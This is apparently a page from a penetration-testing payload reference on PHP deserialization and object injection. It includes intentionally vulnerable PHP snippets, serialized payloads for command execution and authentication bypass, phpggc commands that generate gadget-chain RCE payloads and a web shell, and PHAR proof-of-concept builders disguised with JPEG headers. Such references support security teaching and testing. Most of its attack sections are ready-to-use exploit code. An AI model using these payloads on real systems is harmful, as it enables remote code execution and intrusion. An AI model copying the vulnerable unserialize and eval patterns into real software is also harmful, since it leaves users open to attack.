14 KiB
PHP Deserialization
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
The following magic methods will help you for a PHP Object injection
__wakeup()
when an object is unserialized.__destruct()
when an object is deleted.__toString()
when an object is converted to a string.
Also you should check the Wrapper Phar://
in File Inclusion which use a PHP object injection.
Summary
- General concept
- Authentication bypass
- Object Injection
- Finding and using gadgets
- Phar Deserialization
- Real world examples
- References
General concept
Vulnerable code:
<?php
class PHPObjectInjection{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}
else{
echo ""; # nothing happens here
}
?>
Craft a payload using existing code inside the application.
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
Authentication bypass
Type juggling
Vulnerable code:
<?php
$data = unserialize($_COOKIE['auth']);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
Payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
Because true == "str"
is true.
Object Injection
Vulnerable code:
<?php
class ObjectExample
{
var $guess;
var $secretCode;
}
$obj = unserialize($_GET['input']);
if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>
Payload:
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
We can do an array like this:
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
Finding and using gadgets
Also called "PHP POP Chains"
, they can be used to gain RCE on the system.
-
In PHP source code, look for
unserialize()
function. -
Interesting Magic Methods such as
__construct()
,__destruct()
,__call()
,__callStatic()
,__get()
,__set()
,__isset()
,__unset()
,__sleep()
,__wakeup()
,__serialize()
,__unserialize()
,__toString()
,__invoke()
,__set_state()
,__clone()
, and__debugInfo()
:__construct()
: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. php.net__destruct()
: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. php.net__call(string $name, array $arguments)
: The$name
argument is the name of the method being called. The$arguments
argument is an enumerated array containing the parameters passed to the$name
'ed method. php.net__callStatic(string $name, array $arguments)
: The$name
argument is the name of the method being called. The$arguments
argument is an enumerated array containing the parameters passed to the$name
'ed method. php.net__get(string $name)
:__get()
is utilized for reading data from inaccessible (protected or private) or non-existing properties. php.net__set(string $name, mixed $value)
:__set()
is run when writing data to inaccessible (protected or private) or non-existing properties. php.net__isset(string $name)
:__isset()
is triggered by callingisset()
orempty()
on inaccessible (protected or private) or non-existing properties. php.net__unset(string $name)
:__unset()
is invoked whenunset()
is used on inaccessible (protected or private) or non-existing properties. php.net__sleep()
:serialize()
checks if the class has a function with the magic name__sleep()
. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then null is serialized and E_NOTICE is issued.php.net__wakeup()
:unserialize()
checks for the presence of a function with the magic name__wakeup()
. If present, this function can reconstruct any resources that the object may have. The intended use of__wakeup()
is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. php.net__serialize()
:serialize()
checks if the class has a function with the magic name__serialize()
. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. php.net__unserialize(array $data)
: this function will be passed the restored array that was returned from __serialize(). php.net__toString()
: The __toString() method allows a class to decide how it will react when it is treated like a string php.net__invoke()
: The__invoke()
method is called when a script tries to call an object as a function. php.net__set_state(array $properties)
: This static method is called for classes exported byvar_export()
. php.net__clone()
: Once the cloning is complete, if a__clone()
method is defined, then the newly created object's__clone()
method will be called, to allow any necessary properties that need to be changed. php.net__debugInfo()
: This method is called byvar_dump()
when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. php.net
ambionics/phpggc is a tool built to generate the payload based on several frameworks:
- Laravel
- Symfony
- SwiftMailer
- Monolog
- SlimPHP
- Doctrine
- Guzzle
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
Phar Deserialization
Using phar://
wrapper, one can trigger a deserialization on the specified file like in file_get_contents("phar://./archives/app.phar")
.
A valid PHAR includes four elements:
- Stub: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain
__HALT_COMPILER();
at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub. - Manifest: Contains metadata about the archive and its contents.
- File Contents: Contains the actual files in the archive.
- Signature(optional): For verifying archive integrity.
-
Example of a Phar creation in order to exploit a custom
PDFGenerator
.<?php class PDFGenerator { } //Create a new instance of the Dummy class and modify its property $dummy = new PDFGenerator(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload // Delete any existing PHAR archive with that name @unlink("poc.phar"); // Create a new archive $poc = new Phar("poc.phar"); // Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering(); // Set the stub $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); /* Add a new file in the archive with "text" as its content*/ $poc["file"] = "text"; // Add the dummy object to the metadata. This will be serialized $poc->setMetadata($dummy); // Stop buffering and write changes to disk $poc->stopBuffering(); ?>
-
Example of a Phar creation with a
JPEG
magic byte header since there is no restriction on the content of stub.<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();
Real world examples
- Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley
- Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley
- Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley
- Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley
References
- PHP Object Injection - OWASP
- Utilizing Code Reuse/ROP in PHP
- PHP unserialize
- PHP Generic Gadget - ambionics security
- POC2009 Shocking News in PHP Exploitation
- PHP Internals Book - Serialization
- TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec
- CTF writeup: PHP object injection in kaspersky CTF
- Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec
- Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019
- PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020
- How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020
- phar:// deserialization - HackTricks
- Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - Aug 11, 2022 - xanhacks
- FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - 12/09/2023
- FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - 11/10/2023
- PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - Tue 13 February 2024